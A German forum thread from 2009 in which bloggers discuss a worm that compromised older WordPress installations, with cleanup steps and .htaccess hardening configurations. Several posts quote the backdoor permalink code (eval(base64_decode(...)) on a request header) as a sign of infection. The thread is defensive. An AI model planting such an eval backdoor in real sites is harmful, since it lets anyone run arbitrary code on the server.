Nichts ist aufrufbar - Seite 3

BMB · 05.09.2009, 22:26

Zitat:

Zitat von Domino5702

Der von NHQ zitierte Abschnitt sagt im Wesentlichen: die in Wordpress eingebaute Export-Funktion nutzen, um alle Beiträge zu sichern, Wordpress deinstallieren und neu einrichten mit der Version 2.8.4 (also auch insbesondere Plugins und Theme) und danach die Inhalte wieder importieren. Die Dokumentation liefert Dir weitere Hilfen. Zu beachten ist, dass die von Dir vorgenommenen Änderungen an Wordpress-Core Dateien dabei verloren gehen, somit erneut vorgenommen werden müssen. Ebenfalls ratsam ist es, seinen Plugin und Theme Ordner zu sichern und nach dem Update wieder zurückzuspielen.

Es ist keine Kleinigkeit, ich rate Dir dazu, dies von einem Fachmann, der mit Deiner Installation vertraut ist, machen zu lassen.

LG Domi

Ich habe dem Artikel zufolge alle Passwörter geändert. Ich habe von gestern über Mysqldumper einen Datenbankabzug gemacht, er ist auf meinem Rechner mehrfach vorhanden ( à 7 MB ). Die Uploads sind alle gespeichert, die derzeitige Installation 2.7 ist lokal kopiert!

" literally remove your WordPress installation totally" -> und was ist mit einem Themes, das u.U. für sehr viel Geld geändert wurde?

Ich frage offen: ich bin Wirtschafter und kein EDV- Mann; wer bitte kann helfen? Wenden Sie sich bitte per PN an mich.

Gerade habe ich aus der Datenbank alle Neuanmeldungen der letzten 3 Tage gelöscht! Dabei habe ich gerade festgestellt, dass ich den "unsichtbaren" Administrator dabei gelöscht habe!

Eine große Chance:

"JarredConner70 $P$9FkusidlX2q7sX3iDFWRG0pFkGxO5T1 jarredconner70 2009-09-05 03:42:48 0 JarredConner70 " Der User hatte lt. Datenbank keine e-Mail Adresse angegeben.

glcknb · 06.09.2009, 05:16

Vielleicht interressiert es ja den ein oder anderen - Nachdem ich die beiden doch ziemlich "PANIK11!11elfcos(0)111" lastigen Postings bei mashable und lorelle gelesen habe und selbst (ja ich weiß) etliche Blogs habe die noch mit älteren Versionen laufen - hier ein paar Details aus den Kommentaren bei wordpress.org:

Es ist vermutlich ein Wurm, läuft also automatisiert ab.
Es wird zuerst ein User angelegt - also es ist davon auszugehen, dass jeder der Registrierungen erlaubt betroffen ist, ich habe noch nichts von Fällen gehört wo jemand Registrierungen deaktiviert hatte und betroffen war
Dann wird eine Sicherheitslücke ausgenutzt die es Nutzern mit geringeren Rechten (z.B. Subscriber) erlaubt Permalinks zu ändern.
Der Code in den Permalinks wird (wohl?) auch irgendwo ausgeführt und aktiviert vermutlich irgend eine Funktion oder erhöht die Rechte eines Users. (Edit: Es ist schlimmer Details siehe unten)
Per POST zur xmlrpc.php wird Code eingebunden der Dateien im Blog anlegt und den Code an ein paar Stellen einfügt/ändert.
Vermutlich war/ist eine späteres Nachladen von SPAM-Links/Bots geplant - die Lücke würde das ermöglichen, anscheind war der Weg über kaputte Permalinks die einzige Möglichkeit das auszunutzen
2.8.4 ist anscheind sicher

Wer nicht betroffen ist: Updaten!

Wer schon betroffen ist: Updaten hilft nichts, der Wurm legt diverse index.php an die den Code zurück holen. Details dazu und anleitungen das Blog zu reinigen ohne Daten zu verlieren gibt es bei wordpress.org in den Foren.

Wer nicht Updaten kann und noch nicht betroffen ist (warum auch immer):

User-Registrierungen verbieten
Alle Schreibrechte auf php-Dateien entfernen ( find . -iname "*.php" | xargs chmod 444 - wenn man shell zugang hat)
xmlrpc.php vorrübergehend umbennen per .htaccess Zugriff verbieten
Seine Nutzer durchgehen, alle die da nicht hingehören sofort löschen!
Eventuell Anmeldungen ganz verbieten (wp-login.php per htaccess sichern)
Einen Weg finden Upzudaten, die Lücke ist kritisch, selbst wenn der Wurm nicht vorbei kommt kann jeder angemeldeter Nutzer das Blog übernehmen/PHP-Code ausführen.

Edit: Was macht der geänderte Permalink?

Zitat von Wordpress.org:

Zitat:

For anybody interested, having that particular code in your permalink is a backdoor.
That decodes internally to this:
/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/
Which, rather cleverly, causes any single post URL to look for a header called "HTTP_EXECCODE" sent by the client, run it through base64_decode, and then to execute the PHP code contained therein.
In other words, with that on your site, anybody with a little bit of know-how can force your site to run arbitrary PHP code. Which is probably how they got in, after they somehow got your permalink URL to change to that (probably via SQL injection in old WP versions).

Kurz und Knapp: Jeder kann - solange die Permalink URL nicht geändert ist - beliebigen PHP Code ausführen auf dem Blog!

Also Permalink Ändern und am besten erstmal alles dicht machen - per .htaccess:

Code:

order deny,allow
deny  from all
allow from <eigene ip>

Ohne Gewähr soweit, Infos sind aus den wordpress.org Threads (http://wordpress.org/support/topic/297639). Morgen wird es hoffentlich ein wenig mehr Details geben.

Domino5702 · 06.09.2009, 06:27

OK, hier ist der Tipp, der den Schaden erst einmal eingrenzt. Der Autor des Beitrages weist ausdrücklich darauf hin, dass er zunächst einmal möglichst schnell eine Hilfe anbieten wollte, und seine Methode nicht fehlerfrei sein könnte. Der Stand ist 5.09.2009.

Wer sich nicht sicher genug fühlt, derartige Eingriffe in sein System vorzunehmen, sollte dies einemn Profi überlassen!

Gelesen bei Journey.etc : (Übersetzung von mir)

Wenn Sie Wordpress nicht in der aktuellsten Version (2.8.4) verwenden, sollten Sie umgehend die Permalinks / RSS Feed-Einstellungen Ihres Blogs überprüfen. Fals diese in etwa so aussehen:

“%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/”
oder
“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECC ODE%5D))%7D%7D|.+)&%
oder
‘error on line 22 at column 71: xmlParseEntityRef: no name wordpress’ für Ihren Feed

Sind Sie Opfer einer neuen Welle von Angriffen auf Blogs geworden.

Was ist zu tun:

-Unter Einstellungen -> Permalinks den schadhaften Code entfernen
-Unter Benutzern, werden Sie feststellen, dass mehr Administratoren aufgelistet werden, als Sie erwarten

Bewegen Sie den Mauszeiger über den Benutzer, der als neuester Administrator eingetragen ist, klicken Sie den Link zum Bearbeiten der URL und kopieren Sie die Link Adresse, und fügen anschliessend diese in die Adresszeile Ihres Browsers ein, wobei Sie die laufende Ziffer hinter „user_id=“ um 1 erhöhen.

Bild

Sie werden auf diese Weise den versteckten Administrator finden, dessen Vornamen-Feld einen eigenartigen Code enthält. Löschen Sie diesen Code, und setzen Sie die Rolle dieses Benutzers auf Abonnent. Kehren Sie zur Liste der Benutzer zurück, und löschen Sie den nun sichtbaren zusätzlichen Benutzer.

Dies sollte den Angriff stoppen. Vergessen Sie nicht, auf die neueste Wordpress-Version zu aktualisieren.

BMB · 06.09.2009, 06:55

Zitat:

Zitat von Domino5702

-Unter Einstellungen -> Permalinks den schadhaften Code entfernen
-Unter Benutzern, werden Sie feststellen, dass mehr Administratoren aufgelistet werden, als Sie erwarten

Bewegen Sie den Mauszeiger über den Benutzer, der als neuester Administrator eingetragen ist, klicken Sie den Link zum Bearbeiten der URL und kopieren Sie die Link Adresse, und fügen anschliessend diese in die Adresszeile Ihres Browsers ein, wobei Sie die laufende Ziffer hinter „user_id=“ um 1 erhöhen.

Bild

Sie werden auf diese Weise den versteckten Administrator finden, dessen Vornamen-Feld einen eigenartigen Code enthält. Löschen Sie diesen Code, und setzen Sie die Rolle dieses Benutzers auf Abonnent. Kehren Sie zur Liste der Benutzer zurück, und löschen Sie den nun sichtbaren zusätzlichen Benutzer.

Dies sollte den Angriff stoppen. Vergessen Sie nicht, auf die neueste Wordpress-Version zu aktualisieren.

Bei mir war es so, dass ich in der Admin- Auflistung einen mehr hatte als aufgelistet wurde. Ich bin in die Datenbank gegangen und habe wp_user untersucht und gesehen, dass dort ein User ohne e-Mail Adresse stand. Den und 3 andere ( das passte zeitlich mit der Verseuchung ) habe ich aus der Datenbank gelöscht.
Dann habe ich in der Admin- Auflistung nachgesehen und fand, dass die Anzahl wieder stimmte.

Wäre das ein richtiger Schritt?

glcknb · 06.09.2009, 07:13

Das reicht leider noch nicht:
laut: http://www.sourcesec.com/Lab/wordpress-hacked.html legt der Wurm an verschiedenen Stellen PHP-Dateien an, die das Blog erneut infizieren können.

Die sicherste Variante wäre - Ein Backup aller Dateien und der Datenbank zu machen und vorallem auch auf das Änderungsdatum zu schauen.

Wenn man auf Nr. Sicher gehen möchte alle Wordpress-Dateien löschen und aus sicherer Quelle neu installieren (2.8.4) und dann die Theme Datein / Plugins wieder hochladen (wenn man überprüft hat das in keiner der Dateien Code auf dem obigen Link ist, sollte aber nicht der Fall sein, die Änderungszeit kann hier auch helfen als Indikator)

Sicherstellen das keine (feindlichen) Admin-User mehr in der Datenbank sind und möglichst auch keine unbekannten normalen User.

Permalinks richtig stellen. neue Nutzer-Registrierungen sicherheitsalber kontrollieren - z.B. mit http://wordpress.org/extend/plugins/sabre/ oder http://wordpress.org/extend/plugins/register-plus/ (es ist nicht so richtig klar ob 2.8.4 wirklich sicher ist - die Lücke ist ihren Idee nach auf alle Dateien im Admin-Bereich anwendbar - so richtig scheint im Moment keiner zu wissen ob überall der Sicherheitscheck eingebaut wurde)

Auch die wp-config.php ansehen, alle Verzeichnisse auf aktualisierte index.php mit Code aus dem Link überprüfen.

Dann sollte man (hoffentlich) sicher sein.

Die Nutzer entfernen alleine genügt nicht. Der Angreifer muss nur eine der manipulierten index.php Dateien aufrufen damit das Backdoor oder ein anderes Backdoor wieder aktiviert wird.

Domino5702 · 06.09.2009, 07:19

Naja, die im Journey.etc-Artikel beschriebene Methode identifiziert den vermuteten Übeltäter eindeutig, während dem bei Deiner Vorgehensweise 3 Unschuldige über die Klinge springen mussten. Ich weiss nur, dass ich mich auf einer Website nicht wieder anmelden würde, wo mit mir so umgegangen wird, aber das muss jeder Webmaster für sich entscheiden.

LG Domi

PS. Siehe auch mein PN an Dich.

glcknb · 06.09.2009, 07:50

Zitat:

Zitat von Domino5702

Naja, die im Journey.etc-Artikel beschriebene Methode identifiziert den vermuteten Übeltäter eindeutig, während dem bei Deiner Vorgehensweise 3 Unschuldige über die Klinge springen mussten. Ich weiss nur, dass ich mich auf einer Website nicht wieder anmelden würde, wo mit mir so umgegangen wird, aber das muss jeder Webmaster für sich entscheiden.

LG Domi

PS. Siehe auch mein PN an Dich.

Hallo, ja ich habe ja auch an der Methode nichts auszusetzen, ich wollte lediglich darauf hinweisen das es Gerüchte gibt (bzw der Link bestätigt es und in den Wordpress.org wurde es auch bestätigt) das die verschiedenen index.php in einzelnen Unterverzeichnissen auch manipuliert worden sind - und man damit halt selbst wenn man sein Blog wieder gereinigt hat jederzeit wieder infiziert werden könnte.

Es ist vielleicht etwas paranoid, aber bei solchen großen Lücken mit sehr vielen möglichen Opfern gibt es vermutlich viele Trittbrettfahrer die den Code abändern oder sich geschickter anstellen etwas zu verschleiern. Größere Blogs haben eventuell auch das Problem das feindlich gesinnte Nutzer dies für eine spezielle Attacke nutzen. Deswegen habe ich das "über die Klinge springen" in Kauf genommen. Es muss natürlich jeder für sich abwägen. Jedenfalls grund zur Panik gibt es nicht, aber allzu leichtfertig sollte man so etwas auch nicht hinnehmen und schon einmal mal gründlich schauen ob es nicht noch versteckte Hintertüren gibt.

Nichts für ungut.

Domino5702 · 06.09.2009, 08:09

Ich zweifle ja nicht an Deiner redlichen Absicht. So wie ich es verstanden habe, wird zunächst ein "versteckter Admin" eingescheust, dessen Hauptaufgabe darin besteht, die Backdoor, die in den Permalinks etabliert wird, offen zu halten, bzw immer wieder neu zu öffnen. Die Abwehr besteht ja auch aus 3 Stufen: Admin ausschalten, Permalinks bereinigen, Update fahren. Es wird in allen seriösen Quellen darauf hingewiesen, dass man das nicht mal "eben schnell" erledigen kann, und man vom Hintergrund was verstehen (lernen) muss.

BMB · 06.09.2009, 08:36

Zitat:

Zitat von glcknb

Hallo, ja ich habe ja auch an der Methode nichts auszusetzen, ich wollte lediglich darauf hinweisen das es Gerüchte gibt (bzw der Link bestätigt es und in den Wordpress.org wurde es auch bestätigt) das die verschiedenen index.php in einzelnen Unterverzeichnissen auch manipuliert worden sind - und man damit halt selbst wenn man sein Blog wieder gereinigt hat jederzeit wieder infiziert werden könnte.

Es ist vielleicht etwas paranoid, aber bei solchen großen Lücken mit sehr vielen möglichen Opfern gibt es vermutlich viele Trittbrettfahrer die den Code abändern oder sich geschickter anstellen etwas zu verschleiern. Größere Blogs haben eventuell auch das Problem das feindlich gesinnte Nutzer dies für eine spezielle Attacke nutzen. Deswegen habe ich das "über die Klinge springen" in Kauf genommen. Es muss natürlich jeder für sich abwägen. Jedenfalls grund zur Panik gibt es nicht, aber allzu leichtfertig sollte man so etwas auch nicht hinnehmen und schon einmal mal gründlich schauen ob es nicht noch versteckte Hintertüren gibt.

Nichts für ungut.

Nun, gerade bei einer politischen Tages"zeitung" mit non-mainstream Meinungen kommt man natürlich zuerst darauf, dass ein potentieller Gegner, gerade in der heutigen Zeit, einen bewussten Angriff startete. Wenn ich an mehreren Stellen "immediately" finde, dann gehe ich davon aus, dass das auch so gemeint ist. Und wenn man keinen Admin ( mehr ) hat, dann muss man sich leider selber behelfen. Punkt. Und darüber diskutiere ich aus juristischen Gründen nicht.

Ich möchte darauf hinweisen, dass die Seitenaufrufe auf der Startseite nicht mehr funktionieren! Das war bisher nirgends erwähnt! Auch ein Löschen einer Seite und Neuschreiben löst das Problem nicht!

glcknb · 06.09.2009, 09:20

Zitat:

Zitat von BMB

Nun, gerade bei einer politischen Tages"zeitung" mit non-mainstream Meinungen kommt man natürlich zuerst darauf, dass ein potentieller Gegner, gerade in der heutigen Zeit, einen bewussten Angriff startete. Wenn ich an mehreren Stellen "immediately" finde, dann gehe ich davon aus, dass das auch so gemeint ist. Und wenn man keinen Admin ( mehr ) hat, dann muss man sich leider selber behelfen. Punkt. Und darüber diskutiere ich aus juristischen Gründen nicht.

Man kann sich in gewissen Grenzen gegen Viele typische Wordpress Angriffe wehren. Das wichtigste ist natürlich eine ständig aktuelle Version zu haben.

Selbstständige Nutzer-Registrierungen sollte man auch nur wenn es umbedingt notwendig ist erlauben. Das war wohl ein Grund für die Probleme mit dem jetzigen Wurm. Lieber Nutzer von Hand auswählen. Das hat auf die möglichkeit Kommentare zu verfassen keinen Einfluss. Wobei glaube ich ein paar Optionen für Registrierte Nutzer wie Kommentaränderungen nicht zu verfügung stehen aber ansonsten ist das kein Problem.

Wenn man auf nummer Sicher gehen will - oder sagen wir mal wenn man die Latte für einen erfolgreichen Angriff höher setzen will kann man sich z.B. mit .htaccess Dateien behelfen. Ich kippe hier einfach mal meine Konfiguration hinein - Allerdings, das ein oder andere Plugin kann da Probleme machen.

.htaccess für das Hauptordner des Blogs:

Code:

RewriteEngine On
RewriteCond %{REQUEST_URI} /\.svn/
RewriteRule . - [F]
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress
<Files wp-config.php>
Order Deny,Allow
Deny from all
</Files>
<Files wp-login.php>
AuthUserFile /<vollständiger-pfad-zur-passwort-datei/.htpasswd
AuthType Basic
AuthName "restricted"
Order Deny,Allow
Deny from all
Require valid-user
Satisfy any
</Files>

Damit darf sich niemand anmelden der nicht vorher den Nutzernamen/das Passwort kennt, dieses kann man z.B. an seine Mitautoren weitergeben. Es muss auch nicht umbedingt sonderlich kompliziert sein, sollte aber nicht zu kurz sein. Damit wird vor der eigentlich Wordpress-Abfrage nochmal eine 2. Sicherheitswand aufgestellt.

Infos zur Datei und zur Erstellung von Passwörter gibt es hier: http://de.selfhtml.org/servercgi/server/htaccess.htm

.htaccess für wp-includes

Code:

Order Allow,Deny
Deny from all
<Files ~ "\.(css|jpe?g|png|gif|js|swf)$">
 Allow from all
</Files>

.htaccess für wp-admin:

Code:

AuthUserFile /vollständiger/pfad/zur/.htpasswd
AuthType Basic
AuthName "restricted"
Order Deny,Allow
Deny from all
Require valid-user
Satisfy any
<Files ~ "\.(css|jpe?g|png|gif|js|swf|xsl)$">
 Allow from all
</Files>

Damit muss sich jeder sich ins Back-End einloggen will ebenfalls mit Passwort ausweisen.

.htaccess für wp-content:

Code:

Order Allow,Deny
Deny from all
<Files ~ "\.(css|jpe?g|png|gif|js|swf|xsl)$">
 Allow from all
</Files>

Damit verhindert man das man direkt auf php-Dateien im Plugin-Ordner zugreifen kann. Was z.B. für Sicherheitslücken in Plugins oft entscheident ist. Eventuell muss man hier Ausnahmen festlegen, da sich nicht alle Plugin-Autoren daran halten nicht direkt auf Dateien zuzugreifen.

Ein weitere Vorteil ist man kann nicht durch probieren herausfinden ob man ein bestimmes Plugin installiert hat, da standardmässig alle Anfragen mit 403 Forbidden beantwortet werden.

Die Dateitypen kann man natürlich noch erweitern - php sollte man jedoch nicht aufnehmen. Je nach Plugin gibt es da leider ab und an Probleme, man kann aber auch ausnahmen für einzelne Plugin-Dateien machen.

Ich nutze noch Google XML-Sitemaps was ohne Probleme funktioniert

Dann gibt es noch das praktische Plugin hier:
http://bueltge.de/wordpress-login-si...it-plugin/652/

Das entschärft die Gefährlichkeit der xmlrpc.php schon einmal.

und die Datei xmlrpc.php kann man wenn man keine Pingbacks und Tracksbacks benötigt auch noch ganz entfernen.

Ich nutze obige Dateien in meinen Blog und es funktioniert einwandfrei - je nach Plugin kann es aber Probleme geben - da sollte man am besten mit dem Firefox-Addon Firebug schauen ob alles korrekt lädt und ggf. von Hand nachbessern.

Damit wäre man gegen den jetzigen Angriff sicher, ebenso gegen den Angriff gegen die Passwort-Reset Funktion und ein paar (ich glaube nicht alle) ältere Wordpress-Sicherheitslücken.

Um das ganze wirklich Sicher zu machen sollte man jedoch alle Anfragen in den Passwörter übermittelt werden über SSL leiten. Wenn man z.B. über öffentliche WLANs surft.

Es gibt noch eine Reihe anderer Dinge die man tun kann.. aber für 99,5% der Fälle sollte dies ein wenig Sicherheit geben. Wenn jemand ultimativ etwas böses Vorhat wird dieser Mittel und Wege finden, aber man kann menschliche Schwächen auch nur bis zu einen gewissen Grad mit Technik behindern.

Vielleicht ganz nützlich ist noch http://blogsecurity.net/cgi-bin/wp-scanner.cgi - einfach eine Text-Datei mit den Freischaltcode ins Blogverzeichnis legen und mal durchscannen lassen, danach die Datei wieder löschen.

Readme Files und Screenshots und Txt-Dateien kann man auch bedenkenlos löschen, die können unter Umständigen benutzt werden um Versionen herauszubekommen.

Das ist jedoch auf keinen Fall ein Grund nicht zu Updaten, aber quasi ein zusätzliches Hinderniss. Darüber hinaus ist es auch sinnvoll einige Wordpress-Dateien vom Google-Index auszuschließen:

robots.txt:

Code:

User-agent: *
Disallow: /cgi-bin
Disallow: /wp-*

Dadurch verhindert man das Seiten wie wp-register.php oder wp-login.php im Google index stehen und so von Leuten gefunden werden können. Spam-Bots hält das natürlich nicht ab.

Zitat:

Ich möchte darauf hinweisen, dass die Seitenaufrufe auf der Startseite nicht mehr funktionieren! Das war bisher nirgends erwähnt! Auch ein Löschen einer Seite und Neuschreiben löst das Problem nicht!

Wurden die Permalinks wieder eingestellt? Wordpress hat ja mehrere Optionen z.B. Tag und Name /%year%/%monthnum%/%day%/%postname%/ - da muss man schauen was vorher eingestellt war - dann sollten die Links wieder funktionieren. Aber obiges Beispiel ist Standard. Man kann auch bei google suchen mit site:<seitename> um die Struktur wieder herauszubekommen - für die obige Struktur wäre es z.B. 2008/01/04/beitragsname

Unter Einstellungen -> Permalinks ist das konfigurierbar.